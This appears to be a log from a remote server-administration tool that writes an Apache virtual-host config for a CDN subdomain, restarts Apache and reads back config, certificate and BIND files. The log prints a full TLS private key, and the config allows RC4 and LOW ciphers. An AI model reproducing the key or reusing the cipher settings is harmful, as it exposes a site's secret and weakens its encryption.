    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-23 15:15:12: 

PUT: /tmp/pkp775176

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn4_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf= 1'
fi


2026-02-23 15:15:12: 

chmod 755 /tmp/pkp775176; /tmp/pkp775176; rm /tmp/pkp775176

2026-02-23 15:15:13: 




2026-02-23 15:15:13: 

PUT: /tmp/pkp535338

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-23 15:15:13: 

chmod 755 /tmp/pkp535338; /tmp/pkp535338; rm /tmp/pkp535338

2026-02-23 15:15:13: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-23 15:15:13: Establishing a connection
2026-02-23 15:15:14: 

PUT: /tmp/pkp392490

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-23 15:15:15: 

chmod 755 /tmp/pkp392490; /tmp/pkp392490; rm /tmp/pkp392490

2026-02-23 15:15:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-23 15:15:15: 

PUT: /tmp/pkp571876

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-23 15:15:16: 

chmod 755 /tmp/pkp571876; /tmp/pkp571876; rm /tmp/pkp571876

2026-02-23 15:15:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf	1172

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-23 15:15:16: 

PUT: /tmp/pkp607107

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-23 15:15:16: 

chmod 755 /tmp/pkp607107; /tmp/pkp607107; rm /tmp/pkp607107

2026-02-23 15:15:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt	5372
be:f6:88:02:47:ac:2c:4b:61:15:9b:81:a5:23:00:51

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBWxOQaX1GSO5uSkun3CyOK/OMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjIzMTQxNjM3WhcNMjYwNTI0MTQxNjM2WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDG+eC5OzGpwrR5EbBRitJJJg1k8WTUKQmC5zoD2SdKUFEE6WLF
hize5wPtN4MudPHyQzfVyAb/AGxWp/hVaxo09rVI8I9I8c1senSwZZKytOdFd9vF
Jas1QGnc5SEBcbbyfjs2LmwP1fgJXIXdicczFEI9e9As1kH63xeZDnU73fP0pM/2
zUtU6AFM+RJ0z/o6F+H3XPnyADe9SJrkUSNL/ptrvo0pQaRZZuhFV5/XmmkCrB2T
C+s6H7m5UgJRamcMzN4cA9WgTz3++reyQceAWtepaFWjWfNX6MhOGw+ZLh2VS/JQ
IbqDE5oiNvQWy3hed1eXc5Er1tqIrqJ0E+zHAgMBAAGjggImMIICIjAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUqYEZZHheBL2uzrpRqySEkeNr1/EwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG40LmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy83OS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZyLEYVBAAAE
AwBHMEUCIQCVNZ3VusTPYa/PNuvXP6KHbOTyMJ/TiHzkJD/mOcf/7gIgEhm9s8BA
Nd0SfpzgPQDAYOWJJQs/1UwC+f4EpqWdiWIAfgDjI43yjaKI4KrgrPD6kMmF8La/
9dKlJ7AB/BxEWMS26AAAAZyLEYaDAAgAAAUAM4R/NwQDAEcwRQIgLm9KmmEDxp07
fWAnJghyeUyBAXk+IYL0tIieDnfaK2cCIQDTNUhsGcVUj02lM5hISECuwcXi2Yrn
3gecRXuHDm66rjANBgkqhkiG9w0BAQsFAAOCAQEAhE9lkIw7ttUCh2r/IEt/zFqc
u1NsYnLnT95nwD3VNKcweSDRtBgTCXW9hid6YMh1s/P0T5YUPCnEPKn98ZBWD9Qz
ABFkSEapjBGdXDfE1lSSb9BBMwkypPsyTcVQwWlcamtbtsHCYNCUZN3hrKhzw6RB
eYsGOwsTyepBEYjqX4y6M0gBuE0n2Jm/Tv5SBaL7XAQflLGKtdP1Ru3/wfMaHUxO
3C8r0gZp2e+Z89wY2LGpXGPD/qCjk/7g9YWXr11OHlKHXaYLFb21bmj2+9q6IsTR
LoE7oyEwbBw9fbiFC3IdCNu5MFZB3eoJVCPJLQqMwYlMTUmY6nZiUnb0l2vopw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDG+eC5OzGpwrR5
EbBRitJJJg1k8WTUKQmC5zoD2SdKUFEE6WLFhize5wPtN4MudPHyQzfVyAb/AGxW
p/hVaxo09rVI8I9I8c1senSwZZKytOdFd9vFJas1QGnc5SEBcbbyfjs2LmwP1fgJ
XIXdicczFEI9e9As1kH63xeZDnU73fP0pM/2zUtU6AFM+RJ0z/o6F+H3XPnyADe9
SJrkUSNL/ptrvo0pQaRZZuhFV5/XmmkCrB2TC+s6H7m5UgJRamcMzN4cA9WgTz3+
+reyQceAWtepaFWjWfNX6MhOGw+ZLh2VS/JQIbqDE5oiNvQWy3hed1eXc5Er1tqI
rqJ0E+zHAgMBAAECggEAB58t8VDhjiDCZc2i22MquvKVZyoRmq7kiZPusC1y4j3a
9j00ACz4YXF0wD/bUb3ZDSNvnn8snwf9HmfaWcTiGoISX6dKiP8tYNv8xeUEjlcW
Czf6iyRUpccmrV3f7clu7WSe3NLaZzp8mp8yR+vHKmwhCj0VgSItiAnG3AemjF+n
qPWfwqXw2L6eMeaXJxDTv5l98RL/34xck8E+7/CDrezwsBv8+GkOFc2i963z1avK
DAXdozWWik2SnGZhvofsX6lSztCL/VMiQTWkNeR4q9aL+bXLOZ2/wrLgzboHtA+p
DSQ5mR5N3twPvFkVMRSK9OocmiC+fFjLreZfwMCogQKBgQDk7Xm9tdDME2Ps3uHh
4brg4Hq90YzlZQ0NReL+UZrUmZYs/QNfTbByb9hV9qqioPRRFq2uLGAwtDWjBYgH
8w0W+SZFNvzhy4rfWf8lhQiSVmTlojbO4kOKuapTl1eOJafwNm8joW7CGO6plkd1
EoWVqNK4i0HskVxGrvoe724P2QKBgQDegacp4myPDa9s+UTEeXfZ1jlfxCV661CQ
Gp30O6PT1Rkc/VjDrj8deG7W8hHKbVie4BeOSsSDjILLxfY4hYQs4FOfaDFqLUo0
bqkcgNsMBAYeDjEvr7FvQxgVCi0rfyxoG8EyztoRquKtHoi18dJx+svJ2l/BSkba
TlG21wCdnwKBgQCUweOr7Oti0O7LywEI4L+oxPW9Rt/BaGqUx2b7T1fG8o5taXO5
iCgyFI+FPKYgy2o3Dv+JAHj47QE1j7CXSc6lsPy3WUX2C2eQP1DWtp2dSdqChWgM
A2dUS9VsQBm62qlIJHcPtiTcp4reVDLW1lRLrcpP9N2/ta06mRUa6Qah8QKBgQCX
jF0r1PE1ug96vIiO/WCZOSSYyoLwpqeXjtl4iMp7tE/Hg/LaTKrmSqnLstJVOoa6
p0zD+L7CDojje7DJLH8rBZtPHmtRswkwjxKVvFn1ZCQ6glYT8al7a4pSgjzjvFml
iwnarjKvB+IeIYbhzZQVV8lHcXn4r7t0YxWa3/OmZwKBgE8q4pEzoZBNPT0riOwF
ZzEykEdIjbTrr+8HRAXOW1Sl9o3BUZ0Co4fzIj4l5OOxr0qBazMajfpFCr+/GBsp
MZ6PIHseJQo/JZSE5R81yh131BuHyBEhLIWmOIxjV0sk/Sba/uXaUopNUDaHIdzN
BzyK0Nakgdo1ko+ufXXzMzSe
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-25 12:54:44: Establishing a connection
2026-02-25 12:54:55: Establishing a connection
2026-02-25 12:54:55: 

PUT: /tmp/pkp878064

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-25 12:54:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp878064; rm /tmp/pkp878064'

2026-02-25 12:54:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
